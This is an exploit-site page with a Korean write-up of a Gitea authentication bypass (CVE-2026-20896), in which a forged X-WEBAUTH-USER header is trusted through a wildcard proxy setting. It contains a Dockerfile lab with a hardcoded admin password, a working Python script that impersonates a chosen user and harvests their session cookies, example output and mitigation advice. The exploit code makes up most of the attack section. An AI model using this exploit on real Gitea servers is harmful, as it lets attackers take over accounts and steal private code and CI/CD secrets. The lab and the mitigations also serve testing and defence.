Sploitus

Exploit for CVE-2026-20896-Gitea-Authentication-Bypass

kitploit Β· 2026-08-30

Exploit Code

MARKDOWN204 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JUDGEDBYKIRA-CVE-2026-20896-GITEA-AUTHENTICATION-BYPASS
# CVE-2026-20896 - Gitea ≀1.26.2 인증 우회

# 1\. Giteaλž€ 무엇인가?

> GiteaλŠ” 쑰직과 κ°œλ°œμžκ°€ μ†ŒμŠ€ μ½”λ“œ μ €μž₯μ†Œλ₯Ό κ΄€λ¦¬ν•˜κ³ , 이슈λ₯Ό μΆ”μ ν•˜κ³ , λ³€κ²½ 사항을 κ²€ν† ν•˜λ©°, μ†Œν”„νŠΈμ›¨μ–΄ ν”„λ‘œμ νŠΈμ—μ„œ ν˜‘μ—…ν•  수 있게 ν•΄μ£ΌλŠ” κ²½λŸ‰ μ˜€ν”ˆμ†ŒμŠ€ **Git ν˜ΈμŠ€νŒ… ν”Œλž«νΌ** μž…λ‹ˆλ‹€. **GitHub** 및 **GitLab** κ³Ό 같은 ν”Œλž«νΌκ³Ό μœ μ‚¬ν•œ κΈ°λŠ₯을 μ œκ³΅ν•˜μ§€λ§Œ **자체 ν˜ΈμŠ€νŒ…μ΄ κ°€λŠ₯ν•˜κ³  효율적이며 μœ μ§€ 관리가 μ‰¬μš΄** 것이 νŠΉμ§•μœΌλ‘œ, μ½”λ“œμ™€ 개발 인프라에 λŒ€ν•œ 더 큰 ν†΅μ œκΆŒμ„ μ›ν•˜λŠ” 쑰직에 μ ν•©ν•©λ‹ˆλ‹€.

# 2\. 취약점 μ„€λͺ…

> CVE-2026-20896은 **곡식 Gitea Docker μ΄λ―Έμ§€μ˜ μ‹¬κ°ν•œ 인증 우회 취약점** 이며, **CVSS 9.8(Critical)** 등급을 λ°›μ•˜μŠ΅λ‹ˆλ‹€. **1.26.2** λ₯Ό ν¬ν•¨ν•œ μ΄ν•˜ λ²„μ „μ˜ Gitea Docker 이미지에 영ν–₯을 λ―ΈμΉ©λ‹ˆλ‹€. κ·Όλ³Έ 원인은 μ•ˆμ „ν•˜μ§€ μ•Šμ€ κΈ°λ³Έ ꡬ성인 `REVERSE_PROXY_TRUSTED_PROXIES = *`둜, 이둜 인해 Giteaκ°€ λͺ¨λ“  IP μ£Όμ†Œμ—μ„œ μ˜€λŠ” λ¦¬λ²„μŠ€ ν”„λ‘μ‹œ 인증 헀더λ₯Ό μ‹ λ’°ν•˜κ²Œ λ©λ‹ˆλ‹€. λ¦¬λ²„μŠ€ ν”„λ‘μ‹œ 인증이 ν™œμ„±ν™”λœ 경우, μΈμ¦λ˜μ§€ μ•Šμ€ 원격 κ³΅κ²©μžλŠ” μœ„μ‘°λœ `X-WEBAUTH-USER` 헀더λ₯Ό μ œκ³΅ν•˜μ—¬ Giteaκ°€ 곡격자λ₯Ό μ§€μ •λœ μ‚¬μš©μžλ‘œ μ·¨κΈ‰ν•˜λ„λ‘ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€. 특히 κ΄€λ¦¬μžλ₯Ό μ‚¬μΉ­ν•˜λ©΄ λΉ„λ°€λ²ˆν˜Έλ‚˜ μœ νš¨ν•œ 인증 토큰 없이도 μ™„μ „ν•œ κ΄€λ¦¬μž μ•‘μ„ΈμŠ€ κΆŒν•œμ„ 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

> 잠재적 영ν–₯은 **심각** ν•©λ‹ˆλ‹€. Gitea에 λŒ€ν•œ κ΄€λ¦¬μž μ•‘μ„ΈμŠ€λŠ” λΉ„κ³΅κ°œ μ†ŒμŠ€ μ½”λ“œ μ €μž₯μ†Œ, 자격 증λͺ… 및 CI/CD λΉ„λ°€(secrets)을 λ…ΈμΆœν•  수 있으며, μ €μž₯μ†Œ, SSH ν‚€, μ›Ήν›… 및 기타 λ³΄μ•ˆμ— λ―Όκ°ν•œ μ„€μ •μ˜ μˆ˜μ •μ„ ν—ˆμš©ν•  수 있기 λ•Œλ¬Έμž…λ‹ˆλ‹€. 이 취약점은 영ν–₯을 λ°›λŠ” Docker 이미지λ₯Ό λ¦¬λ²„μŠ€ ν”„λ‘μ‹œ 인증과 ν•¨κ»˜ μ‚¬μš©ν•˜λŠ” 배포 ν™˜κ²½κ³Ό 특히 관련이 있으며, Gitea의 일반적인 λΉ„λ°€λ²ˆν˜Έ 인증 λ©”μ»€λ‹ˆμ¦˜μ˜ λ‹¨μˆœν•œ 결함이 μ•„λ‹™λ‹ˆλ‹€. GiteaλŠ” **버전 1.26.3** μ—μ„œ 이 문제λ₯Ό ν•΄κ²°ν–ˆμœΌλ©°, κ΄€λ¦¬μžλŠ” μ•ˆμ „ν•˜μ§€ μ•Šμ€ μ™€μΌλ“œμΉ΄λ“œ 섀정에 μ˜μ‘΄ν•˜μ§€ 말고 패치된 μ΅œμ‹  릴리슀둜 μ—…κ·Έλ ˆμ΄λ“œν•˜κ³  λ¦¬λ²„μŠ€ ν”„λ‘μ‹œ μ‹ λ’° ꡬ성을 κ²€ν† ν•΄μ•Ό ν•©λ‹ˆλ‹€. λ˜ν•œ λ…ΈμΆœλœ Gitea μΈμŠ€ν„΄μŠ€λ₯Ό λŒ€μƒμœΌλ‘œ ν•œ μ•…μš© μ‹œλ„κ°€ λ³΄κ³ λ˜μ–΄ μ‹ μ†ν•œ λŒ€μ‘μ΄ 특히 μ€‘μš”ν•©λ‹ˆλ‹€.

## CWEs

  * CWE-284 – λΆ€μ μ ˆν•œ μ ‘κ·Ό μ œμ–΄.



## TTPs

  * T1078 (μœ νš¨ν•œ 계정)
  * T1190 (곡개 μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ•…μš©)



# 3\. 랩 ꡬ성

> λ‹€μŒ **Dockerfile** 을 μ‚¬μš©ν•˜μ—¬ μ·¨μ•½ν•œ λ²„μ „μ˜ **Gitea**(이 경우 **1.26.2** 버전)둜 **Docker μ»¨ν…Œμ΄λ„ˆ** λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    FROM gitea/gitea:1.26.2
    
    # Reverse-proxy authentication must be enabled to reproduce the vulnerable
    # authentication flow described by CVE-2026-20896.
    ENV GITEA__database__DB_TYPE=sqlite3 \
        GITEA__database__PATH=/data/gitea/gitea.db \
        GITEA__security__INSTALL_LOCK=true \
        GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
    
    RUN <<'EOF'
    cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
    #!/bin/sh
    set -eu
    
    CONFIG=/data/gitea/conf/app.ini
    URL=http://127.0.0.1:3000
    ADMIN_PASSWORD='Password123$!'
    
    # Start Gitea using the original image entrypoint.
     /usr/bin/entrypoint "$@" &
    pid=$!
    
    trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
    
    # Wait until Gitea is ready before creating the lab account.
    until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
        sleep 1
    done
    
    # Create a local administrator account for vulnerability verification.
    su-exec git gitea admin user create \
        --config "$CONFIG" \
        --username jbkira \
        --password "$ADMIN_PASSWORD" \
        --email some-email@example.com \
        --admin \
        --must-change-password=false \
        >/dev/null
    
    wait "$pid"
    SCRIPT
    
    chmod +x /usr/local/bin/lab-entrypoint
    EOF
    
    ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
    

> 그런 λ‹€μŒ λ‹€μŒ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜μ—¬ Docker μ»¨ν…Œμ΄λ„ˆλ₯Ό λΉŒλ“œν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    docker build -t gitea-cve-2026-20896-lab .
    

> λ§ˆμ§€λ§‰μœΌλ‘œ λ‹€μŒ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜μ—¬ Docker μ»¨ν…Œμ΄λ„ˆλ₯Ό λ°°ν¬ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
    

# 4\. κ°œλ… 증λͺ…(PoC)

> Gitea μΈμŠ€ν„΄μŠ€μ— μ‘΄μž¬ν•˜λŠ” μ‚¬μš©μžμ˜ 이름을 μ•Œκ³  μžˆλ‹€λ©΄ `X-WEBAUTH-USER: username` 헀더λ₯Ό μ•…μš©ν•˜μ—¬ ν•΄λ‹Ή μ‚¬μš©μžλ₯Ό 사칭할 수 μžˆμŠ΅λ‹ˆλ‹€. 이 λž©μ—μ„œλŠ” **jbkira** λΌλŠ” μ‚¬μš©μžλ₯Ό μƒμ„±ν–ˆμœΌλ―€λ‘œ, 예λ₯Ό λ“€μ–΄ **BurpSuite** 와 같은 ν”„λ‘μ‹œλ₯Ό μ‚¬μš©ν•˜μ—¬ Gitea 메인 νŽ˜μ΄μ§€μ— λŒ€ν•œ μΈμ¦λ˜μ§€ μ•Šμ€ 일반 접근을 μΊ‘μ²˜ν•œ ν›„ λ‹€μŒ 헀더λ₯Ό μΆ”κ°€ν•  κ²ƒμž…λ‹ˆλ‹€:

![이미지](https://assets.kitploit.com/production/public/readmes/50319/66074f4996ffb95fa61ec30572cfd8d7505d7090894ddedd01e56f05accc8053.png)

> `X-WEBAUTH-USER` 헀더λ₯Ό ν¬ν•¨ν•˜μ—¬ ν•΄λ‹Ή μš”μ²­μ„ μ „λ‹¬ν•˜λ©΄, λΈŒλΌμš°μ €μ—μ„œ Gitea νŽ˜μ΄μ§€μ— λ‹€μ‹œ μ ‘μ†ν–ˆμ„ λ•Œ **jbkira** μ‚¬μš©μžλ‘œ **둜그인** 된 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. ν•˜μ§€λ§Œ 항상 그런 λ°©μ‹μœΌλ‘œ λ™μž‘ν•˜λŠ” 것은 μ•„λ‹ˆλ―€λ‘œ, 곡격을 μˆ˜ν–‰ν•˜μ—¬ **λŒ€μƒ μ‚¬μš©μžμ˜ μ„Έμ…˜ μΏ ν‚€λ₯Ό νƒˆμ·¨** ν•˜λŠ” **PoC 슀크립트** λ₯Ό μ œμž‘ν–ˆμŠ΅λ‹ˆλ‹€. νƒˆμ·¨ν•œ μΏ ν‚€λ₯Ό λΈŒλΌμš°μ €μ— λ³΅μ‚¬ν•˜μ—¬ λΆ™μ—¬λ„£μœΌλ©΄ λŒ€μƒ μ‚¬μš©μžλ‘œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

# 5\. μžλ™ν™”λœ PoC 슀크립트

> **인증 우회(Authentication Bypass)** 결함을 μ•…μš©ν•˜μ—¬ **λŒ€μƒ μ‚¬μš©μž** 의 **μ„Έμ…˜ μΏ ν‚€λ₯Ό νƒˆμ·¨** ν•˜λŠ” Python μžλ™ν™” PoC:

root@kitploit:~
    
    
    import requests
    import argparse
    
    # Color codes for terminal output
    GREEN = "\033[92m"
    RED = "\033[91m"
    YELLOW = "\033[93m"
    ORANGE = "\033[33m"
    BLUE = "\033[94m"
    RESET = "\033[0m"
    
    def attack(url, target_user):
    
        METHOD = "GET"
        HEADERS = {
            "User-Agent": "Mozilla/5.0",
            "X-WEBAUTH-USER": f"{target_user}",
        }
    
        resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
        
        print(f"[+] Status code: {resp.status_code}\n")
        
        # Cookies that the server has set (via Set-Cookie)
        if resp.cookies:
            print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
            for cookie in resp.cookies:
                print(f"    {cookie.name} = {cookie.value}")
        else:
            print(f"{RED}[-] The server has not returned any cookies.{RESET}")
    
    def argparse_setup():
        parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
        parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
        parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
        return parser.parse_args()
    
    def banner():
        print(f"{YELLOW}")
        print(r"""
            β–ˆβ–ˆβ–ˆ  β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ        β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ  
           β–ˆ     β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ     
           β–ˆ     β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ    β–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  
           β–ˆ      β–ˆ β–ˆ  β–ˆ            β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ        β–ˆ   β–ˆ   β–ˆ β–ˆ   β–ˆ     β–ˆ β–ˆ   β–ˆ 
            β–ˆβ–ˆβ–ˆ    β–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ                                                                                                                                                                     
        """)
        print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
        print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
        print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
    
    def main():
        banner()
        args = argparse_setup()
        attack(args.url, args.target_user)
    
    if __name__ == "__main__":
        main()
    

> μ‚¬μš© μ˜ˆμ‹œ:

root@kitploit:~
    
    
    β”Œβ”€β”€(kaliγ‰Ώjbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
    └─$ python3 poc.py -u http://localhost:3000 -t jbkira
    
    
            β–ˆβ–ˆβ–ˆ  β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ        β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ  
           β–ˆ     β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ     
           β–ˆ     β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ    β–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  
           β–ˆ      β–ˆ β–ˆ  β–ˆ            β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ        β–ˆ   β–ˆ   β–ˆ β–ˆ   β–ˆ     β–ˆ β–ˆ   β–ˆ 
            β–ˆβ–ˆβ–ˆ    β–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ                                                                                                                                                                     
        
    CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
    github.com/judgedbykira | linkedin.com/in/yeray-medina
    Only use this in real penetration tests or lab environments. Unauthorized use is illegal.
    
    [+] Status code: 200
    
    [+] Cookies retrieved for user jbkira:
        i_like_gitea = e12680e9c4e6e894
        lang = en-US
    

# 6\. μ™„ν™” 쑰치

> **CVE-2026-20896** 에 λŒ€ν•œ κΈ°λ³Έ μ™„ν™” μ‘°μΉ˜λŠ” Giteaλ₯Ό **1.26.2 μ΄ν•˜μ—μ„œ 1.26.3 μ΄μƒμœΌλ‘œ μ—…κ·Έλ ˆμ΄λ“œ** ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. 1.26.3에 이 취약점에 λŒ€ν•œ λ³΄μ•ˆ μˆ˜μ •μ΄ ν¬ν•¨λ˜μ–΄ 있기 λ•Œλ¬Έμž…λ‹ˆλ‹€. μ¦‰μ‹œ μ—…κ·Έλ ˆμ΄λ“œκ°€ λΆˆκ°€λŠ₯ν•œ 경우, κ΄€λ¦¬μžλŠ” `REVERSE_PROXY_TRUSTED_PROXIES`λ₯Ό `*` λŒ€μ‹  **합법적인 인증 λ¦¬λ²„μŠ€ ν”„λ‘μ‹œμ˜ IP μ£Όμ†Œ λ˜λŠ” μ„œλΈŒλ„·λ§Œ** ν¬ν•¨ν•˜λ„λ‘ λͺ…μ‹œμ μœΌλ‘œ κ΅¬μ„±ν•˜κ³ , μ‹ λ’°ν•  수 μ—†λŠ” ν΄λΌμ΄μ–ΈνŠΈκ°€ Gitea의 HTTP ν¬νŠΈμ— 직접 μ ‘κ·Όν•  수 없도둝 ν•΄μ•Ό ν•©λ‹ˆλ‹€. μ΄λŠ” `ENABLE_REVERSE_PROXY_AUTHENTICATION=true`인 경우 특히 μ€‘μš”ν•©λ‹ˆλ‹€. 이 μ·¨μ•½μ μœΌλ‘œ 인해 μ‹ λ’°ν•  수 μ—†λŠ” μ†ŒμŠ€κ°€ `X-WEBAUTH-USER`λ₯Ό μ£Όμž…ν•˜μ—¬ κΈ°μ‘΄ μ‚¬μš©μžλ₯Ό 사칭할 수 있기 λ•Œλ¬Έμž…λ‹ˆλ‹€.

# 7\. ν¬λ ˆλ”§

> 취약점을 λ°œκ²¬ν•˜κ³  κ³΅κ°œν•œ Ali Mustafa @rz1027λ‹˜κ»˜ ν¬λ ˆλ”§μ„ λ“œλ¦½λ‹ˆλ‹€.